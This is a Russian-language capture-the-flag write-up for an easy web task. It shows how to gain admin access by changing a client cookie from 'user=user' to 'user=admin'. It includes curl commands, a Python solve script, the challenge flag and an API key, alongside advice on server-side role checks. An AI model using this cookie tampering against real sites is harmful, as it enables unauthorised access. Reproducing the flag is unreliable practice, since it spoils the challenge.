Skip to main content

Easy: writeup

ссылка на задание http://f8tasks.ru/challenges#EASY-17

Easy

CategoryWeb
DifficultyEasy
VulnerabilityClient-Side Trust / Cookie Role Tampering
Flagflag{repl4cing_co0kies_is_3asy}

Recon

Без лишних слов. Держи! wsr.gmax.pro:33000

Артефакты: живой HTTP-сервис; вместе с условием выдан API-ключ 89d330593...f6176.

curl -sv http://wsr.gmax.pro:33000/
HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Set-Cookie: user=user

Access Denied

Ключевые наблюдения:

  • X-Powered-By: PHP/7.2.34 — PHP на сервере.
  • Set-Cookie: user=user — сервер сам ставит cookie и называет её по роли.
  • Тело ответа: Access Denied.

API-ключ из условия — ложный след. Проверяем три стандартных варианта:

curl -si -H 'X-API-Key: 89d330593fefbc75a4642b7841c8f39e5349abe1a8cda0afd948b347afaf6176' http://wsr.gmax.pro:33000/
curl -si -H 'Authorization: Bearer 89d330593fefbc75a4642b7841c8f39e5349abe1a8cda0afd948b347afaf6176' http://wsr.gmax.pro:33000/
curl -si 'http://wsr.gmax.pro:33000/?api_key=89d330593fefbc75a4642b7841c8f39e5349abe1a8cda0afd948b347afaf6176'

Все три: Access Denied. Ключ не является центром задачи — видеть его в условии не значит, что он главный. Реальная зацепка уже в ответе: Set-Cookie: user=user.


Cookie — небольшой текстовый файл, который сервер кладёт в браузер клиента и получает обратно при каждом запросе. Клиент хранит cookie у себя и может изменить её значение.

Аналогия: сервер выдал нам бейджик с надписью user=user. Охранник смотрит только на надпись. Что будет, если поменять надпись на user=admin?

Ключевой вопрос: использует ли сервер значение cookie при проверке доступа — и проверяет ли он его подлинность?

Ручная проверка — подмена user=user на user=admin:

curl -i -b 'user=admin' http://wsr.gmax.pro:33000/

Ответ сервера:

Access Granted. The flag is flag{repl4cing_co0kies_is_3asy}

Охранник поверил. Сервер принял подменённую cookie без какой-либо дополнительной проверки.


Exploitation

ШагДействиеКоманда / наблюдение
1Получить обычный ответ сервисаcurl -sv http://wsr.gmax.pro:33000/
2Заметить Set-Cookie: user=user в заголовках ответа
3Проверить API-ключ тремя стандартными способамиВсе три → Access Denied
4Подменить cookie: user=useruser=admincurl -i -b 'user=admin' http://wsr.gmax.pro:33000/
5Прочитать флаг из тела ответаflag{repl4cing_co0kies_is_3asy}

Root cause — предположительно такая проверка на сервере:

if ($_COOKIE['user'] === 'admin') {
    echo 'Access Granted. The flag is ...';
} else {
    echo 'Access Denied';
}

Cookie хранится у клиента — её значение ничем не подписано и не привязано к сессии.

Правильный подход в реальных системах:

  • хранить роль на сервере, не у клиента
  • использовать сессии с серверным хранилищем
  • подписывать чувствительные данные (например, JWT с проверкой подписи)
  • никогда не доверять данным от клиента без независимой проверки

Automation

#!/usr/bin/env python3
import re
import sys
from http.cookiejar import CookieJar
from urllib.request import HTTPCookieProcessor, Request, build_opener


def main() -> int:
    url = sys.argv[1] if len(sys.argv) > 1 else "http://wsr.gmax.pro:33000/"

    jar = CookieJar()
    opener = build_opener(HTTPCookieProcessor(jar))
    opener.addheaders = [("Cookie", "user=admin")]  # подставляем роль admin

    # отправляем GET-запрос с подменённой cookie
    with opener.open(Request(url), timeout=10) as response:
        body = response.read().decode("utf-8", errors="replace")

    # ищем флаг в теле ответа по шаблону flag{...}
    match = re.search(r"flag\{[^}]+\}", body)
    if not match:
        print("flag not found")
        return 1

    print(match.group(0))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
python3 solve.py

Ожидаемый вывод:

flag{repl4cing_co0kies_is_3asy}

Key Takeaways

  1. Client-Side Trust. Если сервер читает роль из cookie и не проверяет её подлинность — клиент может написать там что угодно. Cookie, hidden field, URL-параметр, JSON-поле: всё, что хранится у клиента, он может изменить.

  2. Set-Cookie как разведывательный сигнал. Читаемые значения в cookie — первые кандидаты на подмену: role=user, admin=false, debug=0, premium=no, id=1. Не видел заголовки ответа — не видел задачу.

  3. Дешёвый тест раньше дорогого. Замена одного значения cookie — одна команда. SQLi, SSRF и десериализацию берут в работу только после того, как исчерпаны наблюдения из заголовков. Если задача дала API-ключ — это не значит, что он главный.